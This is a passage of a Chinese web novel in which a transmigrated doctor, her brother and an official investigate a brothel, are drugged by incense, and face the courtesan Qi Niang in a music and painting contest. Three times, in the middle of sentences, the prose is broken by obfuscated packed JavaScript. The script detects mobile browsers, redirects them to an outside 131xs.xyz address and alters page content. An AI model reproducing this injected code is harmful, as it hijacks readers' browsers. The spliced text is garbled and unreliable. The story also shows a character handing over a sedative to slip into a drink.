“都说了是去暗访。”沈半夏赶忙打断他,“风花雪月之地怎么了,正因我是女子才没大碍,难不成…” 她突然停住,思索片刻后,嘴角噙起一抹狡黠笑意,微微颔首道:“阿玉说的有道理。” “该让夏久一并查查那青菱馆,听闻馆里小倌公子既有身娇体软,也有阳刚…” “阿姐!” 听她这话阿玉脸色更沉,“啪”得一声放下筷子,但见黏在筷子上的油渍飞溅,又默默取出手帕擦拭,临了也只能愤愤瞪了沈半夏一眼。 沈半夏轻笑,见他毫无威慑力的嗔怒,果然还是个毛头小子,自家弟弟真是可爱。 前世沈半夏不曾有过兄弟姐妹,加之一贯清冷的性子。这五年可算是充分让她体验到了养小狗的快乐。 云溪村出事,自己还招惹上了讨债的瘟神子,沈半夏暗自盘算着得找罗老多讨些薪水,尽早将阿玉的玉佩赎回来,万一哪天阿弟心许上了哪家姑娘,可不能耽误了阿弟讨媳妇。 “阿棉也可以去吗?”少女跑到沈半夏身旁,拽了拽她的衣摆。 “不可以。”然后被无情拒绝。 “我要与阿姐同行。”阿玉见没办法动摇沈半夏的决定,只好稍作妥协。 “可万一真有凶险,我还得靠夏久照应。” 她面上犹豫,瞥了眼阿玉因儿时多病比同龄人瘦弱的身板。 沈半夏心下琢磨哪日托夏久教阿玉习武,强身健体有利于他的脆皮身板抵抗病痛。 “夏公子武艺超凡,定可护住你我二人。” 沈半夏轻视的目光如同一把钝刀拍在胸口,攥紧的拳头里指甲陷进皮肉,他倔强仰起头,一副你不同意我就不让你出门的架势。 “也好。” * 华灯初上,云合西华门内往来行人纷纷济济,茶肆酒坊不计其数。春韵坊的牌匾题着歌舞神仙风流花月,此刻门前,正立着三位俊俏公子。 左侧的那位身量极高,一袭墨色劲装裹着宽肩紧实的躯干,他眉眼如剑,五官俊朗。指节分明,指节处若仔细瞧来隐约可见几道旧伤疤。 右侧的那位公子身形修长却略显单薄,生得极美,一袭暗红薄纱松垮地挂在身上,衬得肌肤胜雪。一双勾魂摄魄的桃花眼,眼尾微挑,眸光流转间笑意盈盈。 而中间的那位身量稍矮,一袭素白长衫衬得他如冰雪雕琢般。神色淡淡,眉眼如画,整张脸透着一股雌雄莫辨的俊俏。 “请。”中间的沈公子略微抬手,侧身朝夏公子示意。 三人一同踏入春韵坊。但见坊内斑竹帘轻挂,靠着外侧都是碧纱窗。抬手掀起竹帘,转入其中,几碗鸳鸯灯盏悬在头顶,两侧燃着古铜香炉,炉内香烟袅袅,甜腻奇香萦绕鼻尖。 不多时,屏风后转出一个风韵犹存的美妇人,她一袭桃粉色纱绸裙,身姿婀娜,执了把绣着鸳鸯戏水的团扇扭胯迎了出来。 “哟,好生俊俏的三位小哥儿。”她一身的香粉随飘摇身段弥散开来,笑得眯起眼,实则暗自大量大呢得行头身家,撇过沈半夏时略微一滞,“都没来咱们春韵坊玩儿过吧。” “烦请妈妈带路。”夏久虚握拳头轻掩唇边,轻咳一声率先走了一步,他只为公事来过春韵坊,此番为了掩盖身份还被阿棉捣鼓了半天。 “三位哥儿请。” 春韵坊内已然歌舞升平。 沈半夏昨日听阿棉讲了些春韵坊的事,春韵坊里部分娘子隶属教坊司,擅得是歌舞琴技,最得道貌岸然的权贵骚客青睐;剩下就是些苦命的可怜娘子,不是被贱卖的奴籍,就是被迫求生的走投无路苦命人。 沈半夏上楼途中默默打量着坊内的客人,有麻布袍粗布衣的普通百姓,有锦衣绸缎的富家公子,只不过,这些人面上的神色都是一致,大多如同难以餍足的饕餮食客,浑浑噩噩步履虚浮。 突然一阵嘈杂从不远处传来,只见一满脸横肉的中年男人一把掀了桌,杯碟茶盏碎了一地,晶莹剔透的糕点顺着地毯滚到了三人脚边。 “是刘家三爷,一个土财主。”夏久低声在二人耳边道。 “刘大爷怎还在这儿吃着。”王妈妈已经摇着扇贴上去安抚,她抽出绢帕细细擦了擦刘三胸前的茶渍,“玉娘已候着爷一盏茶的功夫了。” 说着一名衣着淡紫色薄纱裙的娘子从三人身后走来,应是王妈妈口中的玉娘。 沈半夏皱眉,方才刘三掀桌之际肥大的袖子滑下来,裸露出男人壮硕的小臂。 可那小臂后侧,生了几排密密麻麻的水泡红斑。 怕是发作不久的花柳之病。沈半夏虽知晓不过是烟花柳巷之地随处可见的病症,可她再看向那年轻娇媚的娘子时,心头还是难免如同银针扎了般难受。 “娘子芳名何许?”她先一步握住了玉娘的手腕,阿玉见她动作立刻猜到她想做什么,随即上前一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464351|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身挡在了二人身前,断了王妈妈和刘三的视线。 “小女子玉娘。”玉娘些微错愕,眼前的公子瞧着标致俊秀,握力倒是大得很。 “那刘三多半有花柳恶疾,娘子收好小心下入他酒里便是了。”沈半夏趁着宽袖的遮掩,将药粉塞进玉娘的掌心。“不用担心,寻常迷药罢了,不会被查出来,他醒来也不会发现。” 玉娘应了声好,眼角浮起朦胧的薄雾,没来得及说什么就被王妈妈咋咋唬唬着唤了过去。 “风流韵所,最难的就是救风尘。”夏久说的是方才沈半夏一出救美戏码。 瞧见玉娘扶了刘三走远了,吩咐人收拾好残局,王妈妈才安心扭着回到三人跟前,继续领着三人上了楼。 掀起珠帘,是个临街的阁子,多半是瞧着三人衣着富贵气质不凡,楼下竟径直对着中央的圆台,此时纱帘半遮面的胡姬翩跹起舞,金粉流光好不醉人。 沈半夏不由得暗自心里感谢柳翩生的倾情相助。 “烦请妈妈上些不醉人的酒来。” “公子说笑了,哪有酒不醉人呢。”王妈妈掩嘴笑道,“来我这花韵坊里的恩客,谁不求旖丽香软的醉梦一场呢?” “缘因我这小兄弟有头疾。”夏久解释,“怕寻常酒水难以招架。” 沈半夏配合地掏出折扇轻抵住左侧额角,出门的时候刻意给眼下摸了些乌黑,不过得在灯下细瞧方能看见。 “晓得了。”王妈妈笑道,“公子且等片刻。娘子们见三位俊秀娇俏馋得紧呢,这不还有跑去补脂粉的。” “待会儿花魁娘子七娘的琵琶舞,保准儿让这位小哥儿忘了什么劳什子头疾。” 王妈妈掀帘走了,沈半夏朝着中央台子的方向探了探身。 春韵楼内光线朦胧,青铜雕花的烛台点了大簇灯火高悬在中央戏台上,随着滚烫的蒸汽流转。其余地方的桌台和软榻则是玲珑小盏,客人和娘子们,摇曳光影间醉眼迷离。 “好漂亮的娘子们。”沈半夏望了眼楼下推杯换盏和红香软玉。 阿玉端茶杯的手一滞,顺着她的目光望去,见角落处三两美娇娘簇着一名公子劝酒,大半个身子都贴了上去。 他脸颊一红迅速收回目光,谁知刚一转头,沈半夏正手托下巴,盯着他笑意盈盈。 “我们阿玉也到了可以娶妻的年纪了。” “阿姐…” “阿姐该替爹娘教教你怎么疼惜小娘子了。”沈半夏瞧他害羞的模样觉得好玩,干脆凑到他耳边轻声低语:“其一,切记不可硬来,要先征得对方应匀。” “其二,不可只顾自己舒坦,鱼水之…” 沈半夏好姐姐的亲密关系科普被“砰”得一声打断,檀木桌上茶水溢出杯沿撒得到处都是,少年慌忙起身时膝盖撞到了桌角,耳朵红得透光,不知是疼还是羞得。 “咳咳…” 被姐弟两无视许久的夏久干咳,早知沈半夏拿刀捏针慓悍得很,今日更是当众教自家阿弟男女之事… 他同情地看了阿玉一眼,决定好心解救一下眼前涉世未深的青涩少年。 “花魁娘子出来了。” 11. 香炉 “咣当”一声,楼下大堂靠近中央戏台的桌案翻了。 “这是我的席位!” 身材魁梧的青年双目赤红,跟前的软榻上,一名衣着华贵的中年男子盘腿而坐。 “呵,老子花了钱就能使得。” 中年男子眼角上挑扫了眼青年稍显逊色的行头,摩挲着拇指上的玉扳指,冷笑出声。 沈半夏从二楼伸脖子瞅了一会儿,随手抓了颗蚕豆扔进嘴里。 二人是在争夺前排观美人的席位。 片刻后,王妈妈才带着花韵坊的护院姗姗来迟,先送上软娇娘哄青年落座,再是让凶神恶煞的护院冷脸收好残剧。 等开胃小菜吊足了看客的胃口,屋内半数烛火突然熄灭,旖丽的昏暗吞没了嘈杂。 悠扬琵琶声响起,戏台四角,销金香炉烟雾升腾,馥郁檀香裹挟着幽冷百合香四散开来。 花魁娘子眸里波光潋滟,和芊芊玉指一同撩拨看客心弦。 沈半夏半眯着眼,指节跟随音律在檀木桌面敲打出鼓点似的节拍。 正在这时,隔间的珠帘被掀起,进来三名婀娜美娇娘。 “公子们,酒来了。” 黄铜酒壶和杯盏里,紫红色的琼浆玉液溢出醇厚香气,随酒一起上桌的,还有几碟下酒小菜。 端起酒杯轻抿,沈半夏眉头一皱,不动声色地朝夏久和阿玉使了个眼色。 ——酒里有迷药。 “娘子…”她揽过身边娘子的香肩,低头凑近对方的颈侧,深吸一口,嗓音低沉,“好香呀。” “公子……”那娘子被她的举动勾得软了身子,娇羞地倚偎在沈半夏的怀里,双颊通红不知是红晕还是胭脂。 沈半夏心中默念三个数,怀中人的呼吸趋于规律,然后…… “云合第一青楼——春韵坊,居然是家黑店?” 沈半夏震惊道。三名娘子已然伏在桌沿睡了过去,她掀开酒壶,凑近鼻底闻了片刻。 “这……不曾听闻。” 夏久摩挲着下巴,眉头紧锁也深觉异常,三人没有立刻起身,隔间的珠帘门遮蔽效用甚微,怕打草惊蛇。 “可这楼下的戏还在唱呢。”沈半夏说的是中央戏台上的花魁娘子,三曲琵琶行云流水,鼻尖上挂着的纱帘半褪。 “沈……公子,”夏久不自然咳嗽一声,“这酒?” “……不过寻常迷药。” 沈半夏轻轻摇头,眼下也摸不着头脑,三人第一次来春韵坊,按理说也不该被认出来。 “好!” 喧嚣声拔地而起,楼下花魁的演出结束,此起彼伏的喝彩声一片。 听阿棉说,花魁七娘两年前一曲江上琵琶行一举夺魁,不仅琵琶技艺卓绝抚得一手好琴,还能谈棋舞墨,文雅风骚。 琴棋书画,国色天线。只可惜不是大户人家的闺中贵女。 坊里的灯火重新被点亮,不多时,戏台上换了一批娘子翩跹起舞。 夏久握紧了藏在衣袖间的匕首,暗访潜行不方便带随身的佩剑,灯火亮起,四周的暧昧昏暗被一点点驱散,不知名的焦躁感油然而深。 “有人上来了。” 沈半夏压低声音,余光瞥着红木楼梯上靠近的人影,水晶珠帘当了视线,只能隐约看得出是个女子的身形。 阿玉默不作声把椅子朝沈半夏的方向挪动,跟着沈半夏的提醒朝房间外看去。 “刷啦”一声,珠帘被掀起,来者竟然是方才沈半夏英雄救美的对象—玉娘。 “公子们”玉娘明媚的眸子含着春水,可那水却仿佛被冻住了,一寸寸冷掉变成了犀利的冰刺。 “…你们有何目的?” 夏久“刷”得站起来将沈半夏二人挡在身后,褪去了方才的伪装,一脸严肃。 “是玉娘想问公子们…”她笑道,歪头越过夏久的肩头看向他身后的沈半夏,“公子们来春韵坊,不找乐子…” 她毫不在意夏久锋利的目光,步步逼近沈半夏,“不找乐子,倒是来看诊了。” “我说的不错吧,半夏姑娘。” 沈半夏一愣,没曾想到居然被认出来了。心下懊悔自己多管闲事坏了正事。 “姑娘别紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464352|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张。”玉娘抬手状似要抚上她的脸颊,还没来得及碰到,立即被阿玉抬手甩开。 “玉娘本来可舍不得姑娘遭罪的。”玉娘也不恼,收回半空中落空的手,她转头看向分毫不少的酒,笑意更深了一层。 “可惜姑娘果然太谨慎,不肯喝杯中酒。” “什么?”沈半夏只觉得眼前的人在越来越模糊,瞳孔也开始变得涣散失去焦距,难以凝神。 夏久拿着刀的手一松,之听“咣当”一声,匕首掉到了地面上被弹开半米。 “究竟何时…” 沈半夏不解,究竟何时中的招?她努力回想从进店到现在的一举一动,他们明明识破了酒中的迷药没有饮下,难不成还能隔空下药?等等,莫非真的是隔空… 是香。 来不急仔细思考,沈半夏只觉自己个儿眼皮变得愈发沉重,她吃力撑着想看阿玉和夏久的情况,只见二人与她症状相仿,都开始飘忽忽地站立困难。 阖上眼皮的瞬间,她突然转头看见了隔间四角的黑色香炉,炉子上几缕青烟袅袅升起,融化在室内的空气里… 无色无味,根本难以辨认。 “姑娘太过聪明。” 玉娘见她多半猜到了缘由,笑意更深了,也不遮掩,“若你们直接喝下这壶酒,香里的毒,早解开了。” 回应她的只剩一屋子的沉默。玉娘嗤笑出声,现下这桌上好生热闹 —不仅有方才来送酒陪客的三名年轻娘子,还有昏迷倒下的三位俊俏“公子”。 “七娘,要把他们带去上房吗?” 门口不知何时出现了位戴着面纱的女子,一袭柔纱红裙,细柳生姿,眉间还点了一抹荷花式样的血红朱砂 —正是方才还在台上风光旖旎的花魁娘子,七娘。 “嗯。” 她朝玉娘轻轻颔首附和,随即又欠身缓缓踱步到了沈半夏跟前,端详片刻后,玉指轻柔地搭上了她的头发,稍微一用力,昏迷女子的乌丝瀑布般顺着桌沿倾斜而下。 不多时,三名护院打扮的壮硕大汉走进来,将几人扛出了隔间。 12. 比试 沈半夏眼皮沉重,像被糨糊紧紧糊住,刺鼻的熏香在鼻腔肆意钻进里鼻尖,冲击着她尚有些混沌的意识。 她吃力地稍稍抬起身子,全然不记得自己昏迷了多久,臂弯因为头部长期压迫传来酥麻的刺痛感。待意识完全回笼,她强撑着身子环顾四周,心中一惊。 此处已并非方才的隔间。 目光落在几步开外,与她不同的是,阿玉和夏久双手被麻绳紧紧绑在背后,正靠坐在红色雕漆的柱子上,双眼紧闭,尚未苏醒。 “姑娘醒了。” 一道娇媚的女声幽幽响起。沈半夏循声望去,只见对面黑檀木软踏上半卧着一名女子。听闻声响,这女子慵懒地撑起半个身子,似是小憩过后养足了精神。 屋内装潢精致,挂了青白云纱的雕花木床,黄铜盆里盛着半盆清水,四角的炉子里燃着沈半夏不喜欢的甜腻到刺鼻的熏香。 如若不看屋内狼狈的三人,倒是好一番惬意闲适。 “你是七娘。” 沈半夏笃定道。她瞧了瞧地上二人,见他们呼吸均匀、面色还算正常,悬在嗓子眼儿的心这才稍稍安放下来。 七娘勾起嘴角,浅笑倩兮,她褪去了戏台上那浓厚的装扮,只略施脂粉,白皙的面颊在烛火下显得格外动人,头上仅插着一支银质珠钗,墨色的青丝半挽着,此时正手里把玩着一根白色浅纹的发带。 沈半夏这才惊觉自己头上的发带不知何时被扯了下来,整个人披头散发,甚是狼狈。 “半夏姑娘为何而来?” 七娘朝沈半夏缓缓走来,到她跟前驻足,一双含水美眸俯视着她。 “为了求药。”沈半夏毫不犹豫地答道。虽她医者的身份多半已被识破,但眼下尚不知七娘的用意,他们又还在对方的地盘上,她决定还是按照之前和夏久商议的办法行事。 “半夏姑娘说笑了,”七娘听了,竟像听到笑话一般轻笑出声,“云合来了个江湖女神医这事儿,都传进了七娘的耳朵里,怎会需要来春韵坊求药。” “神医之名,半夏不敢当。”沈半夏微微一笑,“不过四处奔波积攒了些教训罢了。” “半夏漂泊异乡,如今只剩我阿弟一个亲人了。”她指向地上昏迷的男子,眉头轻蹙,“可阿弟患有隐疾,若是发病,疼痛难忍,生不如死……” “半夏这半吊子医术,也是为了给阿弟治病瞎琢磨来的。”沈半夏无奈地叹了口气。 “知晓安神丸药方罕见难寻…” “阿姐…”阿玉不知何时醒了过来,听清了沈半夏和七年的对话后,面色惨白轻声唤了她一声。 七娘眯起眼睛,仔细打量了姐弟二人片刻,随后干脆越过沈半夏,走到阿玉跟前蹲下身。 “不愧是姐弟,阿玉公子确实单薄了些,但和半夏姑娘一样生得貌美。”七娘抬手勾了勾阿玉的下巴。阿玉被调戏了也不躲开,只是仰起脸,朝着七娘扯出一个天真无邪的笑容。 “我阿姐都是为了我,七娘姐姐如若能放了我们,阿玉也不要什么药了。”他看向七娘,黑曜石般的眸子里满是无辜。 “好生乖巧的小郎君。”清秀俊俏的小公子的一声姐姐唤得七娘心情大好,她走回沈半夏身边,抽出桌下的木凳坐下。 “半夏姑娘救了七娘的妹妹两次。”七娘提起茶壶,替沈半夏手边的瓷杯添满茶水,自己也端起一杯轻抿一口。 “半夏姑娘救了的那名两岁女童。”见她疑惑,七娘解释到,“还有今日,想将那恶病传给玉娘的刘三。” “如果想要安神丸,七娘也不阻拦。只要半夏姑娘愿意同七娘比试一二,七娘就带姑娘去寻售卖安神丸的人。” “好。”沈半夏点头应下,此番前来,目的就是获得安神丸的售卖渠道。她看了眼地上的夏久,看来他们二人是打不过了,不如将计就计探探虚实。 见沈半夏答应了,七娘抬起手来轻拍三下,只听“吱呀”一声,栅格木门缓缓被推开,几名白衣侍女端着琵琶走了进来。 “可否先给阿玉和我朋友解绑。”沈半夏转身看向地面,见夏久还靠在柱子上昏迷,不禁皱眉,他应该是被下了额外分量的药。这人看起很能打,但怎么一遇到下药投毒的事儿回回首当其冲。 “替半夏姑娘的阿弟松绑。”在七娘的眼神示意下,一名白衣侍女上前替阿玉解开了束缚手脚的麻绳。 “不过夏大人身手不凡,七娘惶恐,劳烦他受罪了。”七娘接过琵琶,手上动作轻柔抚过琴身。 “你想怎么比。”沈半夏没多做纠缠,起身扶着阿玉坐下,双手按在他的肩头上下打量着,查看他是否受伤。 “琴棋书画,琴为首位。”七娘将琵琶抱在怀里,笑着看向沈半夏,“七娘想与姑娘比抚琴。” “我有一个条件。”沈半夏心下一凉,她一个穿越来的现代医生,哪里会弹琵琶。 “听闻七娘的琵琶技冠群芳,半夏自然是比不得。”沈半夏斟酌着说道。 “我们比七弦琴,而且”她顿了顿,“曲目我来定。” “就依你,替半夏姑娘取纸笔来。”七娘将心爱的琵琶放回软榻上,即刻示意白衣侍女送上两把琴身上绘着映日荷花莲池的七弦琴。 沈半夏接过纸笔,轻咬着下唇思忖片刻。她虽不会琵琶,但若是古琴还能赶鸭子上架糊弄一二。外科圣手的手指灵活度需要训练,除了手术台上的真刀实枪,偶尔也需要练些乐器活动筋骨。 比起钢琴的浑厚昂扬,沈半夏更喜欢余音悠远的七弦古琴。 “好了,半柱香后,我们比试。”沈半夏将誊写好的琴谱交给七娘。 阿玉一脸错愕,一家四口在云溪村清贫度日五年,沈半夏的银针都是养父捡来废铁后费劲打磨半月,又细细碾磨十日才制成,哪有闲钱买琴。况且,他眸光微沉,他的阿姐又是何时会抚琴的? 约定好的时辰到了。 七娘起身在琴案前落座,她轻拂衣袖,左肩半沉,清越悠扬的琴声在芊芊玉指跳转间倾泻而出。 可不消片刻,突兀的音节频频出现。七娘眉头紧锁,这乐谱跨度颇大,音律需要五指频繁跳动,与寻常乐谱大不相同,这乐谱好生怪异,不似断肠凄婉之曲,也没有风花雪月的柔婉秀娟,多了几分大气大落、荡气回肠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466564|169794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲戚。 曲毕,七娘起身礼让沈半夏入座,她神色镇定,示意阿玉替她举着琴谱。 “该我了。”沈半夏深呼一口气,接着手起,明快急促的旋律如脱缰的骏马,在琴弦上肆意奔腾,绕梁横冲直撞。 七娘怔住,这是她第一次听见七弦琴下流淌出如此恢弘大气、明朗开阔的曲调,更没想到会出自一名女子之手。 “啪”、“啪”、“啪”一曲终了,屋内的沉默立刻被七娘的掌声打破。 “七娘受教了。”她朝着沈半夏拱手行礼,随后将手里的琴谱郑重收了起来。 沈半夏松了口气,方才她默写得是某知名交响乐章的段落,是她前世最喜欢用来练手的。 沈半夏松了口气,方才她默写的乃是某知名交响乐章的段落,这是她前世最喜欢用来练手的曲子。和重韵味与气息的东方音律不同,西方交响乐的曲子音域宽广、情绪激昂,而沈半夏执惯了手术刀的手指灵活有劲,她笃定七娘短短时间内不可能习惯如此粗犷的曲风。 连她自己也颇为意外,五年未曾碰琴难免生疏,可手放在琴上刹那,前世的记忆和这曲子一同喷涌而出,控住了她的双手。 “接下来,我们比作画。”七娘示意白衣侍女们端上笔墨宣纸铺陈于桌案上,“还是半夏姑娘说,比画什么吧。” “好啊!”沈半夏听闻眼神一亮,环视房内后,指尖停在角落里立身等待侍奉的侍女,“就比画她。” 见沈半夏兴奋模样,阿玉嘴角不自觉地抽搐,他的阿姐倒是挺爱舞墨弄画,可她笔下的小人堪比年关时辟邪镇宅的凶神恶煞…… “好。”七娘让那女子上前一步,站在二人跟前来当作模特。 沈半夏端详片刻后,自信十足地提笔作画。她笔下精准地勾勒出发髻、头颅、躯干和衣衫……不多时,她搁笔后站远了些,观赏片刻,不禁满意地点了点头。 阿玉探身瞧见了,不禁扶额轻叹,这纸上的小像对一名女子而言着实失礼了些。 “呵呵,半夏姑娘这是?”七娘也完成了作画,她走到沈半夏身边,见到桌案上的画作忍俊不禁。 “有何不妥?”沈半夏歪头不解,她也走到七娘的桌案前驻足,花魁娘子好才华,果然是一副典雅精致的古典国画,画中女子身姿婀娜,神情温婉。 “我们比试的是画人,首要任务自然是——得还原。” “可半夏姑娘这?”根本没有分毫美感。 “五官比例,四肢关节哪里不还原?”沈半夏扬眉,她踱步至那名女子身侧,“姑娘瞧着站姿略有些怪异,是左脚有旧疾么?” 侍女茫然摇了摇头,沈半夏点头表示明了,“那就是站姿不对,长期以往双膝内翻不仅影响腿形,可能还会影响胯骨位置,不利生长。” 听她一席话,七娘低头再次看了看沈半夏的画作,虽说确实没有任何意境,但确实……准确地还原了人物特征,无可辩驳。 “行了,七娘拖延的时间够久了。”沈半夏低头收起桌案上的宣纸,然后慢慢走到夏久身旁, “不想见到夏大人的人早就走远了吧。”